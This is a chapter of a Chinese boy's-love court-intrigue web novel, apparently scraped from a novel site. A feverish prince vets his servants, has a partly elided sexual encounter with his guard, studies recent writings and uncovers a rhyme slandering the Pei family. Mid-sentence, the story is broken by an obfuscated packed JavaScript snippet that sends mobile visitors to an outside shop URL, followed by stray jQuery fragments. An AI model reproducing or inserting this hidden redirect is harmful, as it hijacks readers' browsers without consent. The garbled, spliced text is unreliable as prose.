林长云这身子实在脆皮,烧了几天依旧没见得好。
林长云无聊得很,干脆把手底下侍卫仆从上上下下查了一遍,一个个到他面前来面试,还让裴千度也站在边上看着。
这样下来,再也没人敢说什么小话。
不过折腾一回,林长云也累得不行。
他扶着依旧烧着的脑袋往后一躺,道:“累死了……也算是体会到了做HR的不容易吧,啧。”
裴千度哪里会知道HR是什么,默默替他盖好了被子:“大人,其实不必做到这份上。”
“哎,”林长云微微仰起头,“做都做了,客气什么,而且也不单是为了你,我也要管人的。”
这话不假,林长云这傻子皇子清醒了也没多久,对手下的人大多都不了解,就担心这些下人里有混进去的眼线。
六皇子是个傻子,但是母家强大,派来的侍卫都是知根知底武力高强的,亲生母亲又死在了皇帝最爱她的时候,刚好,本人还是个毫无威胁的,在几个兄弟间最不起眼。
这才让林长云把秘密保守了这么久。
不过六皇子到底是怎么死的,他为什么会死。
林长云想到这,叹了口气,拍拍裴千度:“反正我闲着也是闲着……”
“唔,对了,刚好趁着这机会你让知安去再给我弄点书来看,有关近几年朝廷和世家的,还有最新的诗词文章,都给我拿来些,对了,话本也要!
裴千度想到了林长云书房里堆起来的书:“书房里那些吗?”
林长云摆摆手:“那些我早就看完了,基本上都是前朝历史和一些圣贤书。”
裴千度顿了顿:“大人看过好多书。”
林长云听他这样讲,挑了一下眉:“怎么,觉得我不像爱看书的人?”
裴千度:“不敢。”
“天天不敢不敢,忤逆我的事儿可没少干,”林长云勾住裴千度的脖子,把他拉下来,凑到自己身上,“都是在碰见你之前看的,碰见你之后,哼哼。”
林长云戳了戳裴千度的脸颊:“被你这皮囊迷昏了头,书都忘了读了。”
裴千度喉结滚了滚:“大人也觉得我是狐狸精吗?”
林长云没想到裴千度这么说,眉头又上扬了些许,笑起来:“你真是越来越好玩了,嗯?你不是狐狸精吗?”
裴千度抿了抿唇:“那我就是吧。大人,要我陪你读书吗。”
林长云忍俊不禁:“不是狐狸精么,怎么现在又变成书童了?”
裴千度深呼吸一口气:“大人想要我是什么,我就可以是什么。”
林长云就又把他往床上拽了拽,把人压在床上。
林长云扯开了他的腰带:“那我现在要你暖床。”
裴千度深吸一口气,没忘记这人还发着烧,居然这么作死。
他道:“大人,你还病着。”
林长云:“你别…就好了,快快,我清心寡欲三天了。”
以前没开过荤的时候尚且不觉得禁欲有什么,现在只觉得真难受,有这么一个大活人在面前,不做些什么的话他还是人么。
裴千度比他忍得更难受,只是林长云是主子,主子不说要他,他怎么能够逾矩,更何况林长云还病着,还是因为……病的。
现在林长云这样在他身上,裴千度身体马上诚实反应。
裴千度喉咙发干:“大人,这可是你自己说的。”
不要到时候又后悔。
林长云好了伤疤忘了疼,扯了裴千度的…之后就去扯自己的:“对对,是我自己说的啊。”
……
这床晃得越来越快,林长云担心它会承受不住力气,就这么原地散架。
就在他心疼着这床的小命的时候,裴千度终于停下来。
林长云如获新生,大口大口地喘着气。
他眯起疲惫的眼睛,抬眸看了一眼裴千度,汗水正顺着腹肌往下滑。
林长云戳了一下,佯装恼怒:“都怪你,荒废了我的学业,我本来要看书的。”
我才要怪你呢,裴千度心道,荒废了我的大业。
裴千度吻了一下林长云的脖子,道:“大人累了,我去给大人拿了书来,念给大人听。”
还有这好事儿,省得自己看书了。
林长云美滋滋地躺在床上,想,他可真有眼光,阿禾真好,能做侍卫,能做书童,还能暖床,最重要的是长得好性格好脑子也好。
裴千度在被林长云扯到床上前就让知安去弄了新书来,这会儿已经放在书房里头。
他去取了书来,坐在林长云床头。
裴千度看着这厚厚一摞书,问道:“大人要先听什么?”
林长云闭着眼睛思索了一下:“唔,先给我念最新的那些诗词文章吧。”
众所周知,文人墨客多常为朝堂势力所用,一个国家里被大面积宣传的文章,特别是通过官方渠道发布的文章,往往折射出来的是统治阶级的意愿。
摸索摸索最近的诗词文章在宣扬什么,歌颂什么,针砭什么,很多时候就能窥见上层动作的风向。
裴千度没有评价,念起来。
他念的速度不快,那些个人又写的文绉绉的,实在有些催眠,林长云一直靠着床闭着眼睛。
有好几次裴千度都以为林长云听睡着了,停下来。
结果就见林长云睁开一只眼睛,疑惑地看着他:“怎么不念了?念完了么,不应该啊。”
裴千度挑了一下眉:“没有,我喘口气。”
于是接着往下念。
裴千度一口气念完了一本,他不累,林长云也不累,后来还是林长云怕他渴死,不让他念了。
这些诗词文章里提到了很多世家,以及渐渐冒头的寒门,京城五姓,洛阳五姓,扬州四姓,都有提及,其中就包括林家,六皇子母家,以及男主裴家。
林长云这么听着,裴千度念着,两人面上皆是什么神情也没有。
林长云思索着,捻了一下自己的头发,道:“你让知安再去,把再早几年的也拿了来。”
裴千度看了他一眼,什么也没问,照着他说的吩咐。
林长云拿了知安再次送来的书,没再让裴千度念,自己一页一页翻着看,偶尔某几页会看的久一点。
裴千度不知道他在看什么,但是刚才他念的时候,一页又一页刺眼的“裴家”,像针扎一样刺入他的大脑。
在林长云看不见的地方,裴千度的手紧了又紧。
许久,林长云合上了书,喃喃道:“原来如此原来如
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17659642|207138||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
此……”
裴千度抬头,眼底沉下来,声音却半分没变:“大人看出来什么了?”
林长云没有看他,嘴角勾起来:“看出来了有人要罗织构陷、侮名毁誉。”
裴千度眉头一跳。
林长云拍拍手,坐起来:“阿禾,走,跟我出去一趟。”
裴千度跟着站起来:“大人身体还没好全。”
林长云无奈:“我是发热了,又不是残废了,出去转转能怎么样,现在还是大中午呢,我们速战速决,很快就回来。”
裴千度压根就不知道林长云明白了什么,又要去速战速决什么,林长云显然也不打算告诉他。
他沉默片刻,道:“嗯,我都听大人的。”
*
林长云出了门,没有直奔某一处而去,而是在城里瞎转悠着。
裴千度依旧带了上回带着的玄铁面罩,跟在他身边护着他,时信时愿几人守在远处。
林长云左晃右晃,买了两串糖葫芦,几包麦芽糖,几册小话本,悠哉悠哉。
看起来根本不是来办正事的。
许久,林长云才拖着裴千度拐进了一小胡同。
这里挤着好几户人家,衣服乱七八糟晾着,木箱子堆在墙角,屋门都放心地敞开,空气中还残留着饭菜香。
几个孩子在胡同口玩作一团,喊着闹着把手里的泥巴糊到小伙伴的脸上,有些个嘴里还大声唱着咿咿呀呀的歌助兴。
林长云盯着这几个孩子看了很久,忽然从裴千度手里拿过一袋麦芽糖,笑着走过去。
一个疯玩得脏兮兮的小孩儿撞到林长云腿上,摸着脑袋,气鼓鼓地抬起头。
然后就看见了个陌生的漂亮哥哥。
林长云长得清隽白净,眼睛更是生得漂亮,小孩子自下而上看着,觉得他笑得温柔无比,一下子看呆了。
林长云蹲下身子和小孩平视,晃了晃手里的麦芽糖,笑道:“小朋友,我刚才听见你们唱歌,觉得很好听,你能不能告诉我唱了什么?我把这麦芽糖送给你。”
几个小孩儿见了这么个漂亮人,又馋那麦芽糖,“唰”一下子全围过来。
“他不会唱!我唱的,我唱的!”
“呸!你唱的难听,我比你好听多了!”
“哥哥,我也想吃麦芽糖……”
林长云被小孩围攻了,举手投降:“好好好,你们别急,慢慢告诉我,每个人都有!”
他说着拽了拽裴千度的衣角,示意裴千度把剩下来的麦芽糖都拿出来。
裴千度把手里的都递出去,林长云便蹲着给他们分糖。
从裴千度的视角只能看到林长云头顶的发旋,他的衣摆太长,掉在了地面上,也不嫌脏,被好几个毛茸茸的小孩围着,笑着给这些小家伙一个个分麦芽糖。
小孩们嘴里吃着麦芽糖,高兴坏了。
最开始撞到林长云的那个小孩手舞足蹈地讲起来:“这歌是我从我表弟那里学来的!他跟他爹从北边来扬州做生意!”
林长云耐心问:“哇,真厉害,那讲的是什么呢。”
小孩开始唱起来:“裴家人,贪金银,克扣军粮饱自身——”
“就是讲的一个坏将军!”
裴千度握着糖葫芦的手僵住了。